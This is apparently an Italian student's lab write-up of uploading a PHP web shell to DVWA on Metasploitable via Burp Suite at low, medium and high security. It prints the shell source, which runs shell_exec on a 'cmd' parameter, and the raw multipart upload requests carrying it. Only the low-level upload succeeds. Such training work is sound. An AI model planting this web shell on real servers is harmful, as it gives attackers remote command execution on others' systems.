

L'esercizio di oggi consisteva nel mettere un malware su metasploitable tramite DVWA controllando tutto tramite burpsuite.

Questo è il codice del malware che è stato inserito su diversi livelli di difficoltà

```
1 <?php
2 if (isset($_GET['cmd']));
3 {
4     $cmd = $_GET['cmd'];
5     echo '<pre>';
6     $result = shell_exec($cmd);
7     echo $result;
8     echo '<pre>';
9 }
10 ?>
11 |
```

IL primo livello di difficoltà "low" il malware viene caricato senza alcun problema come si vede nelle foto

```
Pretty Raw Hex
1 POST /dvwa/vulnerabilities/upload/ HTTP/1.1
2 Host: 192.168.49.102
3 Content-Length: 578
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://192.168.49.102
7 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySBghRAAzkldLUSYZ
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
  like Gecko) Chrome/119.0.6045.159 Safari/537.36
9 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/a
  png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Referer: http://192.168.49.102/dvwa/vulnerabilities/upload/
11 Accept-Encoding: gzip, deflate, br
12 Accept-Language: en-US,en;q=0.9
13 Cookie: security=low; PHPSESSID=1139ffc85ae759cba241ac1498185fe7
14 Connection: close
15
16 -----WebKitFormBoundarySBghRAAzkldLUSYZ
17 Content-Disposition: form-data; name="MAX_FILE_SIZE"
18
19 100000
20 -----WebKitFormBoundarySBghRAAzkldLUSYZ
21 Content-Disposition: form-data; name="uploaded"; filename="php"
22 Content-Type: application/octet-stream
23
24 <?php
25 if (isset($_GET['cmd']));
26 {
27     $cmd = $_GET['cmd'];
28     echo '<pre>';
29     $result = shell_exec($cmd);
30     echo $result;
31     echo '<pre>';
32 }
33 ?>
```

Vulnerability: File Upload

Choose an image to upload:

Choose File

No file chosen

Upload

../../hackable/uploads/php succesfully uploaded!

IL secondo livello "medium" il malware non viene caricato il che significa che non è stato trovato il malware

```

Pretty  Raw  Hex
0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/119.0.6045.159 Safari/537.36
9 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/a
png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Referer: http://192.168.49.102/dvwa/vulnerabilities/upload/
11 Accept-Encoding: gzip, deflate, br
12 Accept-Language: en-US,en;q=0.9
13 Cookie: security=medium; PHPSESSID=1139ffc85ae759cba241ac1498185fe7
14 Connection: close
15
16 -----WebKitFormBoundarySANWOW737p7EJzm
17 Content-Disposition: form-data; name="MAX_FILE_SIZE"
18
19 100000
20 -----WebKitFormBoundarySANWOW737p7EJzm
21 Content-Disposition: form-data; name="uploaded"; filename="php"
22 Content-Type: application/octet-stream
23
24 <?php
25 if (isset($_GET['cmd']));
26 {
27     $cmd = $_GET['cmd'];
28     echo '<pre>';
29     $result = shell_exec($cmd);
30     echo $result;
31     echo '<pre>';
32 }
33 ?>
34
35 -----WebKitFormBoundarySANWOW737p7EJzm
36 Content-Disposition: form-data; name="Upload"
37
38 Upload
39 -----WebKitFormBoundarySANWOW737p7EJzm--
40
```

Your image was not uploaded.

Warning: Cannot modify header information - headers already sent by (output started at /var/www/dvwa/vulnerabilities/upload/source/medium.php:28) in /var/www/dvwa/dvwa/includes/dvwaPage.inc.php on line 324

Warning: Cannot modify header information - headers already sent by (output started at /var/www/dvwa/vulnerabilities/upload/source/medium.php:28) in /var/www/dvwa/dvwa/includes/dvwaPage.inc.php on line 325

Warning: Cannot modify header information - headers already sent by (output started at /var/www/dvwa/vulnerabilities/upload/source/medium.php:28) in /var/www/dvwa/dvwa/includes/dvwaPage.inc.php on line 326



Il terzo livello "high" il malware viene rifiutato di essere caricato perchè viene scoperto

The screenshot displays a web browser window with a raw HTTP request in the developer tools. The request is a POST to `/dvwa/vulnerabilities/upload/` with a `Host` of `192.168.49.102`. The `Content-Type` is `multipart/form-data` and the `User-Agent` is `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36`. The `Cookie` is `security=high; PHPSESSID=1139ffc85ae759cba241ac1498185fe7`. The request body contains a `Content-Disposition` of `form-data; name="MAX_FILE_SIZE"` with a value of `100000`, followed by another `Content-Disposition` of `form-data; name="uploaded"; filename="php"` with a `Content-Type` of `application/octet-stream`. The payload is a PHP script that checks for the `cmd` parameter and executes it using `shell_exec`. Below the request, the web form is visible, showing a "Choose File" button, an "Upload" button, and a red error message: "Your image was not uploaded.".

```
1 POST /dvwa/vulnerabilities/upload/ HTTP/1.1
2 Host: 192.168.49.102
3 Content-Length: 578
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://192.168.49.102
7 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWWALZDBkk32D3dM
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/119.0.6045.159 Safari/537.36
9 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/a
png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Referer: http://192.168.49.102/dvwa/vulnerabilities/upload/
11 Accept-Encoding: gzip, deflate, br
12 Accept-Language: en-US,en;q=0.9
13 Cookie: security=high; PHPSESSID=1139ffc85ae759cba241ac1498185fe7
14 Connection: close
15
16 -----WebKitFormBoundaryWWALZDBkk32D3dM
17 Content-Disposition: form-data; name="MAX_FILE_SIZE"
18
19 100000
20 -----WebKitFormBoundaryWWALZDBkk32D3dM
21 Content-Disposition: form-data; name="uploaded"; filename="php"
22 Content-Type: application/octet-stream
23
24 <?php
25 if (isset($_GET['cmd']));
26 {
27     $cmd = $_GET['cmd'];
28     echo '<pre>';
29     $result = shell_exec($cmd);
30     echo $result;
31     echo '<pre>';
32 }
33
```

Choose an image to upload.

Choose File No file chosen

Upload

Your image was not uploaded.

More info

Da tutto questo si deduce che se la sicurezza è bassa il malware passa facilmente. Se la sicurezza è media basta che il malware sia ben nascosto, mentre se la sicurezza è alta il malware non passa